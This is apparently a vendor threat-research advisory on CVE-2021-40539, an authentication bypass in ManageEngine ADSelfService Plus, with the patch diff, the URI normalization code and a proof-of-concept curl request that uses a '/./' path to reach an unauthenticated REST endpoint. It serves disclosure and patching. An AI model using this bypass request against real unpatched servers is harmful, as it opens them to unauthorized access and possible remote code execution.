Rapid7
Threat Research

Rapid7 Analysis: CVE-2021-40539

|Last updated on Jun 16, 2026|4 min read

Description

On September 7, 2021, Zoho published a security advisory and software update for CVE-2021-40539, a REST API authentication bypass vulnerability in ManageEngine ADSelfService Plus that, if successfully exploited, could result in unauthenticated remote code execution (RCE). CISA warns that CVE-2021-40539 is being exploited in the wild, so patching should be performed on an emergency basis.

Affected products

ADSelfService Plus builds up to 6113 are affected.

Technical analysis

The auth bypass appears to be a path normalization bug in REST API routing.

Patch

--- a/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java
+++ b/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java
@@ -2,6 +2,7 @@ package com.manageengine.ads.fw.api;

 import com.adventnet.ds.query.Column;
 import com.adventnet.ds.query.Criteria;
+import com.adventnet.iam.security.SecurityUtil;
 import com.adventnet.persistence.DataObject;
 import com.adventnet.persistence.Row;
 import com.adventnet.persistence.WritableDataObject;
@@ -28,6 +29,7 @@ import java.util.logging.Logger;
 import java.util.regex.Pattern;
 import javax.net.ssl.SSLHandshakeException;
 import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
 import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.io.IOUtils;
 import org.json.JSONArray;
@@ -167,6 +169,9 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants {
       throw new Exception("00000012");
     } catch (IOException ex) {
       out.log(Level.SEVERE, "", ex);
+      InputStream isr = connection.getErrorStream();
+      if (isr != null)
+        return getString(isr);
       throw ex;
     } catch (Exception e) {
       out.log(Level.FINE, " ", e);
@@ -667,10 +672,47 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants {
     } catch (Exception ex) {
       out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
     }
-    String reqURI = request.getRequestURI();
+    String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI());
     String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
     reqURI = reqURI.replace(contextPath, "");
     reqURI = reqURI.replace("//", "/");
     return Pattern.matches(restApiUrlPattern, reqURI);
   }
+
+  public static Properties getParameters(HttpServletRequest request) {
+    Properties properties = new Properties();
+    Enumeration<String> paramNames = request.getParameterNames();
+    while (paramNames.hasMoreElements()) {
+      String paramName = paramNames.nextElement();
+      String paramValue = request.getParameter(paramName);
+      if (paramValue != null)
+        properties.put(paramName, paramValue);
+    }
+    return properties;
+  }
+
+  public static boolean isProductAPIAllowedOnDemo(HttpServletRequest request, HttpServletResponse response) {
+    try {
+      String requestURI = request.getRequestURI();
+      String contextPath = request.getContextPath();
+      requestURI = requestURI.replaceFirst(contextPath, "");
+      requestURI = requestURI.replaceAll("//", "/");
+      Properties parameters = getParameters(request);
+      JSONObject apiDetails = getAPIDetails(requestURI, parameters);
+      if (apiDetails == null)
+        return true;
+      if (!apiDetails.getBoolean("IS_ALLOWED_ON_DEMO") && CommonUtil.isDemo().booleanValue()) {
+        JSONObject responseObj = new JSONObject();
+        responseObj.put("SEVERITY", "SEVERE");
+        responseObj.put("STATUS_MESSAGE", "ads.restapi.error.url_restricted_for_demo");
+        responseObj.put("eSTATUS", "ads.restapi.error.url_restricted_for_demo");
+        responseObj.put("ERROR_CODE", "00000014");
+        CommonUtil.setResponseJSON(response, responseObj);
+        return false;
+      }
+    } catch (Exception ex) {
+      out.log(Level.INFO, "Exception occured in ADSFilter isAPIAllowedOnDemo :" + ex);
+    }
+    return true;
+  }
 }
  public static String getNormalizedURI(String path) {
    if (path == null)
      return null;
    String normalized = path;
    if (normalized.indexOf('\\') >= 0)
      normalized = normalized.replace('\\', '/');
    if (!normalized.startsWith("/"))
      normalized = "/" + normalized;
    boolean addedTrailingSlash = false;
    if (normalized.endsWith("/.") || normalized.endsWith("/..")) {
      normalized = normalized + "/";
      addedTrailingSlash = true;
    }
    while (true) {
      int index = normalized.indexOf("/./");
      if (index < 0)
        break;
      normalized = normalized.substring(0, index) + normalized.substring(index + 2);
    }
    while (true) {
      int index = normalized.indexOf("/../");
      if (index < 0)
        break;
      if (index == 0)
        return null;
      int index2 = normalized.lastIndexOf('/', index - 1);
      normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
    }
    if (normalized.length() > 1 && addedTrailingSlash)
      normalized = normalized.substring(0, normalized.length() - 1);
    return normalized;
  }

PoC

The following request is largely benign and returns static content.

wvu@kharak:~$ curl -v --path-as-is http://172.16.57.9:8888/./RestAPI/LogonCustomization -d methodToCall=previewMobLogo
*   Trying 172.16.57.9...
* TCP_NODELAY set
* Connected to 172.16.57.9 (172.16.57.9) port 8888 (#0)
> POST /./RestAPI/LogonCustomization HTTP/1.1
> Host: 172.16.57.9:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 out of 27 bytes
< HTTP/1.1 200 OK
< Set-Cookie: JSESSIONIDADSSP=37895862ACDA03D1FACDAC9BD6161568; Path=/; HttpOnly
< Content-Type: text/html;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Tue, 14 Sep 2021 18:53:46 GMT
<
* Connection #0 to host 172.16.57.9 left intact
<script type="text/javascript">var d = new Date();window.parent.$("#mobLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());window.parent.$("#tabLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());</script>* Closing connection 0
wvu@kharak:~$

Guidance

Update ADSelfService Plus to the latest build, 6114, using the service pack.

CISA strongly urges organizations ensure ADSelfService Plus is not directly accessible from the internet.

Resources

  • https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html
  • https://www.manageengine.com/products/self-service-password/release-notes.html
  • https://www.manageengine.com/products/self-service-password/service-pack.html
  • https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/zoho-releases-security-update-adselfservice-plus
LinkedInFacebookXBluesky